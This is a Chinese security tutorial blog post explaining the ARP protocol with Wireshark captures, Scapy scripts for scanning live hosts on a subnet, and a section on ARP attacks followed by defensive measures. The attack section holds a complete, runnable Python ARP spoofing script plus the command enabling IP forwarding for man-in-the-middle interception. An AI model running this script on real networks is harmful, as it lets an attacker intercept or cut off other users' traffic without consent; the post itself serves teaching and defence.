前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >ARP-基础-扫描-攻击-防范

ARP-基础-扫描-攻击-防范

作者头像
糖果
发布2019-11-20 20:51:46
2.2K0
发布2019-11-20 20:51:46
举报
文章被收录于专栏:糖果的实验室糖果的实验室

1

协议介绍

ARP(Address Resolution Protocol)地址解析协议,将已知IP地址转换为MAC地址,由RFC820定义 ARP协议在OSI模型中处于数据链路层,在TCP/IP模型中处于网络层 ARP协议与数据链路层关联网络层

在Windows操作系统中可以在cmd中使用“arp -a”查看本地arp缓存表(120秒过期)

2

步骤概述

  • 当主机A要与主机B通信时,会先检查自身路由表是否能够到达,然后在自己的本地ARP缓存表中检查主机B的MAC地址
  • 如果主机A在ARP缓存表中没有找到映射,会广播发送ARP请求。每台主机接收到ARP请求后,会检查是否与自己的IP地址匹配。如果主机发现请求的IP地址与自己的IP地址不匹配,将会丢弃ARP请求
  • 主机B确定ARP请求中的IP地址与自己的IP地址相匹配,则将主机A的IP地址和MAC地址映射添加到本地ARP缓存中,并将包含其MAC地址的ARP回复消息以单播的方式发送回主机A
  • 当主机A收到主机B发送的ARP回复消息时,会用主机B的IP和MAC地址映射更新ARP缓存。由于ARP缓存是有生存期的,当生存期结束,将再次重复上面的过程。

2

数据包分析

使用wireshark抓取ARP数据包

在Info可以看到,ARP的一般请求和回复方式

  • 请求方式 Who has 查询IP Tell 自身IP
  • 回复方式 查询IP is at 查询MAC

请求包特征

代码语言:javascript
复制
Ethernet II, Src: IntelCor_a7:1e:26 (60:f6:77:a7:1e:26), Dst: Broadcast (ff:ff:ff:ff:ff:ff) 数据链路层
    Destination: Broadcast (ff:ff:ff:ff:ff:ff) 广播发送
    Source: IntelCor_a7:1e:26 (60:f6:77:a7:1e:26) 发送方MAC地址
    Type: ARP (0x0806) 协议类型
Address Resolution Protocol (request) 网络层 ARP请求数据包
    Hardware type: Ethernet (1) 硬件类型
    Protocol type: IPv4 (0x0800) 协议类型
    Hardware size: 6 硬件长度
    Protocol size: 4 协议长度
    Opcode: request (1) 操作码 1表示请求数据包
    Sender MAC address: IntelCor_a7:1e:26 (60:f6:77:a7:1e:26) 发送方MAC地址
    Sender IP address: 192.168.100.104 发送方IP地址
    Target MAC address: 00:00:00_00:00:00 (00:00:00:00:00:00) 接收方MAC地址 由于不知道接收方MAC地址,所以为00:00:00:00:00:00
    Target IP address: 192.168.100.105 接收方IP地址

响应包特征

代码语言:javascript
复制
Ethernet II, Src: XiaomiCo_6a:e3:a4 (64:cc:2e:6a:e3:a4), Dst: IntelCor_a7:1e:26 (60:f6:77:a7:1e:26) 数据链路层
    Destination: IntelCor_a7:1e:26 (60:f6:77:a7:1e:26) 单播发送
    Source: XiaomiCo_6a:e3:a4 (64:cc:2e:6a:e3:a4) 发送方MAC地址
    Type: ARP (0x0806) 协议类型
Address Resolution Protocol (reply) 网络层 ARP回复数据包
    Hardware type: Ethernet (1) 硬件类型
    Protocol type: IPv4 (0x0800) 协议类型
    Hardware size: 6 硬件长度
    Protocol size: 4 协议长度
    Opcode: reply (2) 操作码 2表示回复数据包
    Sender MAC address: XiaomiCo_6a:e3:a4 (64:cc:2e:6a:e3:a4) 发送方MAC地址
    Sender IP address: 192.168.100.105 发送方IP地址
    Target MAC address: IntelCor_a7:1e:26 (60:f6:77:a7:1e:26) 接收方MAC地址
    Target IP address: 192.168.100.104 接收方IP地址

免费ARP特征

在网络中IP地址是可以改变的,而MAC地址是不会改变的。 当IP地址改变时,缓存中的映射就不再有效。 为了防止由于映射错误而导致的通信错误,免费ARP将被发送,强制所有收到它的设备使用新的映射

免费ARP会在一下状态进行发送:

  • 系统引导期间
  • 接口进行配置
  • IP进行变更

数据包特征:

代码语言:javascript
复制
Ethernet II, Src: IntelCor_a7:1e:26 (60:f6:77:a7:1e:26), Dst: Broadcast (ff:ff:ff:ff:ff:ff) 数据链路层
    Destination: Broadcast (ff:ff:ff:ff:ff:ff)  广播发送
    Source: IntelCor_a7:1e:26 (60:f6:77:a7:1e:26) 发送方MAC地址
    Type: ARP (0x0806) 协议类型
Address Resolution Protocol (request/gratuitous ARP) 免费ARP请求包
    Hardware type: Ethernet (1) 硬件类型
    Protocol type: IPv4 (0x0800) 协议类型
    Hardware size: 6 硬件长度
    Protocol size: 4 协议长度
    Opcode: request (1) 操作码 1表示请求数据包
    [Is gratuitous: True] 免费ARP数据包
    Sender MAC address: IntelCor_a7:1e:26 (60:f6:77:a7:1e:26) 发送方MAC地址
    Sender IP address: 192.168.100.250 发送方IP地址
    Target MAC address: 00:00:00_00:00:00 (00:00:00:00:00:00) 请求方MAC地址
    Target IP address: 192.168.100.250 请求方MAC地址

可以看到发送方IP地址和请求方IP地址都为新地址,其他主机收到这种数据包会更新自身的ARP缓存表。 由于是源主机未经请求发出的数据包,而其他主机接收到后更新了ARP缓存表,所以被称为免费ARP

3

python实现

这里实现的Python版本为3.6.4

Scapy

Scapy是一个强大的嗅探库,支持Python2和Python3。 Scapy有1.2和2.x两种版本,前者由于依赖unix系统的libpcap、libdnet等库已经弃用了。后者在Linux、BSD、Mac上使用 pip install scapy 就能安装Scapy。Windows系统较麻烦,要安装最新版的Npcap或Winpcap再使用 pip install scapy 安装。

安装完成后载入库不报错就证明安装成功

  • v1.2版本使用 from scapy import *
  • v2.x版本使用 from scapy.all import *
代码实现
检测单个IP是否存活
代码语言:javascript
复制
from scapy.all import *
	
def scan(dip):
	res = srp1(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=dip),timeout=2)
	if res:
		print(res[1].psrc,res[1].hwsrc)

if __name__ == '__main__':
	scan('192.168.100.102')

执行结果

代码语言:javascript
复制
Begin emission:
.Finished sending 1 packets.
.*
Received 3 packets, got 1 answers, remaining 0 packets
192.168.100.102 60:6c:66:1b:b7:aa
[Finished in 4.9s]

这里只是检测单个IP是否存活,使用循环将其改为网段检测。 而且除了扫描到的信息,还输出了scapy的发包信息,可以使用 verbose=False 关闭信息

循环检测网段存活
代码语言:javascript
复制
from scapy.all import *

def scan(dip):
	res = srp1(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=dip),timeout=2 ,verbose=False)
	if res:
		print(res[1].psrc,res[1].hwsrc)

if __name__ == '__main__':
	for i in range(1,255):
		ip = '192.168.100.'+str(i)
		scan(ip)

执行结果

代码语言:javascript
复制
192.168.100.1 8c:f2:28:e6:2f:e2
192.168.100.102 60:6c:66:1b:b7:aa
[Finished in 511.2s]

虽然已经可以扫描网段中存活的主机,但是一个C段地址扫描了八分钟是很难以接受的。尝试使用多线程执行

多线程检测网段存活
代码语言:javascript
复制
import threading
from scapy.all import *

def scan(dip):
	res = srp1(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=dip),timeout=2 ,verbose=False)
	if res:
		print(res[1].psrc,res[1].hwsrc)

if __name__ == '__main__':
	for i in range(1,255):
		ip = '192.168.100.'+str(i)
		t = threading.Thread(target=scan,args=(ip,))
		t.start()
```			

**执行结果**

	192.168.100.1 8c:f2:28:e6:2f:e2
	192.168.100.103 ec:d0:9f:9b:b5:3d
	192.168.100.102 60:6c:66:1b:b7:aa
	[Finished in 20.6s]

虽然速度相比之前有很大的提升,但是还是有点不尽人意。而且在扫描变长网段需要更改代码。
在代码根本上,是每次都调用scan()函数,传入参数进行扫描。
可以使用srp()代替srp1()进行扫描
srp()和srp1()都是在二层发送和接受数据包,但srp1()只接受第一个回复,srp()可以接受所有回复

##### Scapy检测网段存活 #####

```python
from scapy.all import Ether,ARP,srp
IpScan = '192.168.100.1/24'

ans,unans = srp(Ether(dst="FF:FF:FF:FF:FF:FF")/ARP(pdst=IpScan), timeout=2, verbose=False)

for send, rcv in ans:
	print(rcv.sprintf("%ARP.psrc% %Ether.src%"))

执行结果

代码语言:javascript
复制
192.168.100.1 8c:f2:28:e6:2f:e2
192.168.100.102 60:6c:66:1b:b7:aa
192.168.100.103 ec:d0:9f:9b:b5:3d
[Finished in 8.5s]

srp()和srp1()在使用上有些区别,需要注意

4

ARP攻击

ARP断网和ARP欺骗

原理

前面已经描述过ARP通信的步骤,这里再大致赘述一遍,假如主机A要访问主机B的Web服务,根据ARP本地缓存表的情况大致为两类:

第一类:主机A本地ARP缓存表存在主机B记录

  • 检查本地ARP缓存表,发现存在主机B记录
  • 向主机B发送TCP数据包

第二类:主机A本地ARP缓存表不存在主机B记录

  • 检查本地ARP缓存表,不存在主机B记录
  • 主机A广播ARP请求包,查询主机B的ARP信息
  • 主机B接收到主机A的ARP请求包,并回复ARP信息
  • 主机A收到回复,写入本地ARP缓存表,并向主机B发送TCP数据包

我们情景模拟一下

代码语言:javascript
复制
+--------+---------------+-------------------+
| 主机   | IP地址         | MAC地址           |
+--------+---------------+-------------------+
| 网关   | 192.168.1.1   | AA:AA:AA:AA:AA:AA |
| 主机A  | 192.168.1.100 | BB:BB:BB:BB:BB:BB |
| 主机B  | 192.168.1.200 | CC:CC:CC:CC:CC:CC |
| 攻击者 | 192.168.1.250 | DD:DD:DD:DD:DD:DD |
+--------+---------------+-------------------+

在主机A发送ARP请求之前,主机A的ARP缓存表为:

代码语言:javascript
复制
接口: 192.168.1.100 --- 0xb
  Internet 地址         物理地址               类型
  192.168.1.1           AA:AA:AA:AA:AA:AA     动态

当主机A发送并接受到ARP回复之后,主机A的ARP缓存表为:

代码语言:javascript
复制
接口: 192.168.1.100 --- 0xb
  Internet 地址         物理地址               类型
  192.168.1.1           AA:AA:AA:AA:AA:AA     动态
  192.168.1.200         CC:CC:CC:CC:CC:CC     动态

此时主机A向主机B发送TCP通讯,数据包前段内容为:

代码语言:javascript
复制
Ether.Source      = BB:BB:BB:BB:BB:BB
Ether.Destination = CC:CC:CC:CC:CC:CC
IPv4.Source       = 192.168.1.100
IPv4.Destination  = 192.168.1.200

至此主机A到主机B的正常通信开始 可以发现ARP主机A后续的数据包是发送到由ARP获取到的MAC地址的主机的,但是ARP没有做安全处理,如果我们获取到主机A的ARP请求后,向主机A发送我们的MAC地址,那么主机A后续的数据包就会发到我们这里。

如果此时主机C对主机A持续不断的发送ARP消息包:

代码语言:javascript
复制
192.168.1.200 is at DD:DD:DD:DD:DD:DD

当主机A收到了主机C的恶意ARP消息包,本地ARP缓存表为:

代码语言:javascript
复制
接口: 192.168.1.100 --- 0xb
  Internet 地址         物理地址               类型
  192.168.1.1           AA:AA:AA:AA:AA:AA     动态
  192.168.1.200         CC:CC:CC:CC:CC:CC     动态
  192.168.1.200         DD:DD:DD:DD:DD:DD     动态

此时主机A向主机C的通讯就可能出现丢包

而当主机A的ARP本地缓存表120秒到期后,本地ARP缓存表为:

代码语言:javascript
复制
接口: 192.168.1.100 --- 0xb
  Internet 地址         物理地址               类型
  192.168.1.1           AA:AA:AA:AA:AA:AA     动态
  192.168.1.200         DD:DD:DD:DD:DD:DD     动态

由于主机C持续不断的向主机A发送ARP消息包,而且主机A能够在本地ARP缓存表找到主机B的信息,所以不会发送ARP请求包,此时主机A向主机B的所有数据包都将发送到主机C

也就是说通过ARP能够做的攻击有两种:

第一种:ARP断网 对主机A发送网关的ARP消息包,将网关的IP映射为不存在的MAC地址,主机A发送的所有数据包都不会有响应,达到断网。 第二种:ARP欺骗 对主机A发送网关的ARP消息包,将网关的IP映射为主机C的MAC地址,同时开启路由功能,保证主机A与外网的通讯正常。主机A还是能够访问外网资源,但是中间多了一个主机C,主机C能够获取到主机A发送的所有数据包。

ARP欺骗将拓扑进行了改变:

代码语言:javascript
复制
主机A -> 网关 -> Internet  请求包
主机A <- 网关 <- Internet  回复包
           |
       ARP欺骗后
           ↓
主机A -> 主机C -> 网关 -> Internet
主机A <- 主机C <- 网关 <- Internet
攻击实现

需要开启路由转发功能

Linux: echo 1 > /proc/sys/net/ipv4/forward

Python代码

代码语言:javascript
复制
#!/usr/bin/env python
#-*- coding:utf-8 -*-

import sys
from  scapy.all import *

def get_parameter():
	if len(sys.argv)!=3:
		print('python setup.py -target_ip -fake_ip ')
		sys.exit()
	return (sys.argv[1],sys.argv[2])

def get_mac(ip):
	res = srp1(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip),timeout=2,verbose=False,iface='eth0')
	if res:
		return res[1].hwsrc

def send(target_ip,target_mac,fake_ip,fake_mac):
	res = srp1(Ether(dst=target_mac,src=local_mac)/ARP(pdst=target_ip,hwdst=target_mac,psrc=fake_ip,hwsrc=local_mac,op=2),timeout=2,verbose=False,iface='eth0')
	if res:
		return res.show()


if __name__ == '__main__':
	target_ip,fake_ip = get_parameter()
	target_mac = get_mac(target_ip)
	fake_mac = get_mac(fake_ip)
	local_mac = get_if_hwaddr('eth0')
	
	while True:
		send(target_ip,target_mac,fake_ip,local_mac)
		send(fake_ip,fake_mac,target_ip,local_mac)

使用说明

python setup.py 第一IP 第二IP

ARP泛洪

ARP泛洪相比ARP断网和ARP欺骗,更加偏向于对网关的攻击,这种攻击,通过伪造大量不同的ARP报文在同网段内进行广播,导致网关ARP表被占满,合法用户的ARP信息无法正常学习,导致合法用户无法访问外网。

5

防范手段

针对ARP欺骗的防范手段:

  • ARP表固化,网关在第一次学习到ARP之后,不允许更新此ARP或只能更新部分信息,或者单播发送ARP请求包对此ARP条目进行合法性确认,防止伪造的免费ARP报文修改其他主机ARP表。
  • 免费ARP数据包主动丢弃,直接丢弃免费ARP报文,防止伪造的免费ARP报文修改其他主机ARP表。
  • ARP表严格学习,网关只向特定主机学习ARP,不学习其他主机ARP。不允许攻击者修改已有ARP条目。
  • 发送免费ARP数据包,与主动丢弃不冲突,只发送网关自身的ARP数据包,定时更新用户的ARP条目。
  • 动态ARP监测,将接受到的ARP数据包中的源IP、源MAC、受到ARP报文的接口及VLAN信息和绑定表的信息进行比较,信息匹配则通过,不通过则丢弃,可以有效防范ARP欺骗。

针对ARP泛洪的防范手段:

  • ARP报文限速
  • ARP Miss消息限速
  • 免费ARP数据包主动丢弃
  • ARP表严格学习
  • ARP表严格限制

本文章来自团队成员virgin-forest分享,仅供白帽子、安全爱好者研究学习,对于用于非法途径的行为,发布者及作者不承担任何责任。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-09-29,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 糖果的实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 请求包特征
  • 响应包特征
  • 免费ARP特征
  • Scapy
    • 代码实现
    • ARP断网和ARP欺骗
      • 原理
        • 攻击实现
        • ARP泛洪
        • 针对ARP欺骗的防范手段:
        相关产品与服务
        NAT 网关
        NAT 网关(NAT Gateway)提供 IP 地址转换服务,为腾讯云内资源提供高性能的 Internet 访问服务。通过 NAT 网关,在腾讯云上的资源可以更安全的访问 Internet,保护私有网络信息不直接暴露公网;您也可以通过 NAT 网关实现海量的公网访问,最大支持1000万以上的并发连接数;NAT 网关还支持 IP 级流量管控,可实时查看流量数据,帮助您快速定位异常流量,排查网络故障。
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档